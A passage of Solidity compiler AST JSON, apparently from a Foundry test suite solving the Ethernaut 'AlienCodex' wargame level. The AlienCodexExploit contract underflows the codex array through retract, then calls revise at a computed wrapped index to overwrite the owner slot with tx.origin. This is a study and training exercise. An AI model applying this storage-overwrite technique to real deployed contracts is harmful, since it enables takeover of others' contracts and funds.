"typeString":"bytes32"}},"visibility":"internal"}],"src":"363:9:121"},"returnParameters":{"id":58873,"nodeType":"ParameterList","parameters":[],"src":"381:0:121"},"scope":58885,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":58877,"nodeType":"FunctionDefinition","src":"387:28:121","nodes":[],"functionSelector":"47f57b32","implemented":false,"kind":"function","modifiers":[],"name":"retract","nameLocation":"396:7:121","parameters":{"id":58875,"nodeType":"ParameterList","parameters":[],"src":"403:2:121"},"returnParameters":{"id":58876,"nodeType":"ParameterList","parameters":[],"src":"414:0:121"},"scope":58885,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":58884,"nodeType":"FunctionDefinition","src":"420:43:121","nodes":[],"functionSelector":"0339f300","implemented":false,"kind":"function","modifiers":[],"name":"revise","nameLocation":"429:6:121","parameters":{"id":58882,"nodeType":"ParameterList","parameters":[{"constant":false,"id":58879,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":58884,"src":"436:7:121","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":58878,"name":"uint256","nodeType":"ElementaryTypeName","src":"436:7:121","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":58881,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":58884,"src":"445:7:121","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":58880,"name":"bytes32","nodeType":"ElementaryTypeName","src":"445:7:121","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"435:18:121"},"returnParameters":{"id":58883,"nodeType":"ParameterList","parameters":[],"src":"462:0:121"},"scope":58885,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"AlienCodex","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[58885],"name":"AlienCodex","nameLocation":"294:10:121","scope":59119,"usedErrors":[],"usedEvents":[]},{"id":58946,"nodeType":"ContractDefinition","src":"467:381:121","nodes":[{"id":58945,"nodeType":"FunctionDefinition","src":"500:346:121","nodes":[],"body":{"id":58944,"nodeType":"Block","src":"549:297:121","nodes":[],"statements":[{"assignments":[58892],"declarations":[{"constant":false,"id":58892,"mutability":"mutable","name":"instance","nameLocation":"570:8:121","nodeType":"VariableDeclaration","scope":58944,"src":"559:19:121","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"},"typeName":{"id":58891,"nodeType":"UserDefinedTypeName","pathNode":{"id":58890,"name":"AlienCodex","nameLocations":["559:10:121"],"nodeType":"IdentifierPath","referencedDeclaration":58885,"src":"559:10:121"},"referencedDeclaration":58885,"src":"559:10:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"visibility":"internal"}],"id":58896,"initialValue":{"arguments":[{"id":58894,"name":"instanceAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58887,"src":"592:15:121","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":58893,"name":"AlienCodex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58885,"src":"581:10:121","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_AlienCodex_$58885_$","typeString":"type(contract AlienCodex)"}},"id":58895,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"581:27:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"nodeType":"VariableDeclarationStatement","src":"559:49:121"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58897,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58892,"src":"618:8:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"id":58899,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"627:11:121","memberName":"makeContact","nodeType":"MemberAccess","referencedDeclaration":58869,"src":"618:20:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":58900,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"618:22:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58901,"nodeType":"ExpressionStatement","src":"618:22:121"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":58902,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58892,"src":"650:8:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"id":58904,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"659:7:121","memberName":"retract","nodeType":"MemberAccess","referencedDeclaration":58877,"src":"650:16:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":58905,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"650:18:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58906,"nodeType":"ExpressionStatement","src":"650:18:121"},{"assignments":[58908],"declarations":[{"constant":false,"id":58908,"mutability":"mutable","name":"codexZeroIndex","nameLocation":"686:14:121","nodeType":"VariableDeclaration","scope":58944,"src":"678:22:121","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":58907,"name":"uint256","nodeType":"ElementaryTypeName","src":"678:7:121","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":58918,"initialValue":{"arguments":[{"arguments":[{"arguments":[{"hexValue":"31","id":58914,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"732:1:121","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"expression":{"id":58912,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"721:3:121","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":58913,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"725:6:121","memberName":"encode","nodeType":"MemberAccess","src":"721:10:121","typeDescriptions":{"typeIdentifier":"t_function_abiencode_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":58915,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"721:13:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":58911,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"711:9:121","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":58916,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"711:24:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":58910,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"703:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":58909,"name":"uint256","nodeType":"ElementaryTypeName","src":"703:7:121","typeDescriptions":{}}},"id":58917,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"703:33:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"678:58:121"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":58930,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":58928,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":58924,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"767:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":58923,"name":"uint256","nodeType":"ElementaryTypeName","src":"767:7:121","typeDescriptions":{}}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"id":58922,"name":"type","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-27,"src":"762:4:121","typeDescriptions":{"typeIdentifier":"t_function_metatype_pure$__$returns$__$","typeString":"function () pure"}},"id":58925,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"762:13:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_magic_meta_type_t_uint256","typeString":"type(uint256)"}},"id":58926,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"776:3:121","memberName":"max","nodeType":"MemberAccess","src":"762:17:121","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":58927,"name":"codexZeroIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58908,"src":"782:14:121","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"762:34:121","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"hexValue":"31","id":58929,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"799:1:121","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"762:38:121","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"arguments":[{"arguments":[{"arguments":[{"expression":{"id":58937,"name":"tx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-26,"src":"826:2:121","typeDescriptions":{"typeIdentifier":"t_magic_transaction","typeString":"tx"}},"id":58938,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"829:6:121","memberName":"origin","nodeType":"MemberAccess","src":"826:9:121","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":58936,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"818:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":58935,"name":"uint160","nodeType":"ElementaryTypeName","src":"818:7:121","typeDescriptions":{}}},"id":58939,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"818:18:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":58934,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"810:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":58933,"name":"uint256","nodeType":"ElementaryTypeName","src":"810:7:121","typeDescriptions":{}}},"id":58940,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"810:27:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":58932,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"802:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":58931,"name":"bytes32","nodeType":"ElementaryTypeName","src":"802:7:121","typeDescriptions":{}}},"id":58941,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"802:36:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":58919,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58892,"src":"746:8:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"id":58921,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"755:6:121","memberName":"revise","nodeType":"MemberAccess","referencedDeclaration":58884,"src":"746:15:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$_t_bytes32_$returns$__$","typeString":"function (uint256,bytes32) external"}},"id":58942,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"746:93:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58943,"nodeType":"ExpressionStatement","src":"746:93:121"}]},"functionSelector":"0aeb4ddf","implemented":true,"kind":"function","modifiers":[],"name":"exploit","nameLocation":"509:7:121","parameters":{"id":58888,"nodeType":"ParameterList","parameters":[{"constant":false,"id":58887,"mutability":"mutable","name":"instanceAddress","nameLocation":"525:15:121","nodeType":"VariableDeclaration","scope":58945,"src":"517:23:121","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":58886,"name":"address","nodeType":"ElementaryTypeName","src":"517:7:121","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"516:25:121"},"returnParameters":{"id":58889,"nodeType":"ParameterList","parameters":[],"src":"549:0:121"},"scope":58946,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"AlienCodexExploit","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[58946],"name":"AlienCodexExploit","nameLocation":"476:17:121","scope":59119,"usedErrors":[],"usedEvents":[]},{"id":59118,"nodeType":"ContractDefinition","src":"850:1603:121","nodes":[{"id":58953,"nodeType":"VariableDeclaration","src":"895:19:121","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"905:9:121","scope":59118,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":58952,"nodeType":"UserDefinedTypeName","pathNode":{"id":58951,"name":"Ethernaut","nameLocations":["895:9:121"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"895:9:121"},"referencedDeclaration":49101,"src":"895:9:121","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":58956,"nodeType":"VariableDeclaration","src":"920:19:121","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"931:8:121","scope":59118,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"},"typeName":{"id":58955,"nodeType":"UserDefinedTypeName","pathNode":{"id":58954,"name":"AlienCodex","nameLocations":["920:10:121"],"nodeType":"IdentifierPath","referencedDeclaration":58885,"src":"920:10:121"},"referencedDeclaration":58885,"src":"920:10:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}},"visibility":"internal"},{"id":58958,"nodeType":"VariableDeclaration","src":"946:21:121","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"962:5:121","scope":59118,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":58957,"name":"address","nodeType":"ElementaryTypeName","src":"946:15:121","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":58960,"nodeType":"VariableDeclaration","src":"973:22:121","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"989:6:121","scope":59118,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":58959,"name":"address","nodeType":"ElementaryTypeName","src":"973:15:121","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":59063,"nodeType":"FunctionDefinition","src":"1182:618:121","nodes":[],"body":{"id":59062,"nodeType":"Block","src":"1206:594:121","nodes":[],"statements":[{"assignments":[58965],"declarations":[{"constant":false,"id":58965,"mutability":"mutable","name":"users","nameLocation":"1241:5:121","nodeType":"VariableDeclaration","scope":59062,"src":"1216:30:121","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":58963,"name":"address","nodeType":"ElementaryTypeName","src":"1216:15:121","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":58964,"nodeType":"ArrayTypeName","src":"1216:17:121","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":58969,"initialValue":{"arguments":[{"hexValue":"32","id":58967,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1261:1:121","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":58966,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"1249:11:121","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":58968,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1249:14:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"1216:47:121"},{"expression":{"id":58974,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":58970,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58958,"src":"1274:5:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":58971,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58965,"src":"1282:5:121","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":58973,"indexExpression":{"hexValue":"30","id":58972,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1288:1:121","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1282:8:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1274:16:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":58975,"nodeType":"ExpressionStatement","src":"1274:16:121"},{"expression":{"arguments":[{"id":58979,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58958,"src":"1309:5:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":58980,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1316:7:121","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":58976,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1300:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58978,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1303:5:121","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1300:8:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":58981,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1300:24:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58982,"nodeType":"ExpressionStatement","src":"1300:24:121"},{"expression":{"id":58987,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":58983,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58960,"src":"1335:6:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":58984,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58965,"src":"1344:5:121","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":58986,"indexExpression":{"hexValue":"31","id":58985,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1350:1:121","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1344:8:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1335:17:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":58988,"nodeType":"ExpressionStatement","src":"1335:17:121"},{"expression":{"arguments":[{"id":58992,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58960,"src":"1371:6:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":58993,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1379:8:121","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":58989,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1362:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58991,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1365:5:121","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1362:8:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":58994,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1362:26:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":58995,"nodeType":"ExpressionStatement","src":"1362:26:121"},{"expression":{"arguments":[{"id":58999,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58958,"src":"1413:5:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":58996,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1399:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":58998,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1402:10:121","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1399:13:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59000,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1399:20:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59001,"nodeType":"ExpressionStatement","src":"1399:20:121"},{"expression":{"id":59006,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59002,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58953,"src":"1429:9:121","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":59004,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58958,"src":"1468:5:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":59003,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"1441:26:121","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":59005,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1441:33:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"1429:45:121","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":59007,"nodeType":"ExpressionStatement","src":"1429:45:121"},{"assignments":[59010],"declarations":[{"constant":false,"id":59010,"mutability":"mutable","name":"factory","nameLocation":"1497:7:121","nodeType":"VariableDeclaration","scope":59062,"src":"1484:20:121","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"},"typeName":{"id":59009,"nodeType":"UserDefinedTypeName","pathNode":{"id":59008,"name":"DummyFactory","nameLocations":["1484:12:121"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"1484:12:121"},"referencedDeclaration":52145,"src":"1484:12:121","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"visibility":"internal"}],"id":59016,"initialValue":{"arguments":[{"arguments":[{"hexValue":"416c69656e436f646578466163746f7279","id":59013,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1534:19:121","typeDescriptions":{"typeIdentifier":"t_stringliteral_d8cae27c4fc8775677c1950dee0995ac0896d810e6d095e57c0126c66a6f1f35","typeString":"literal_string 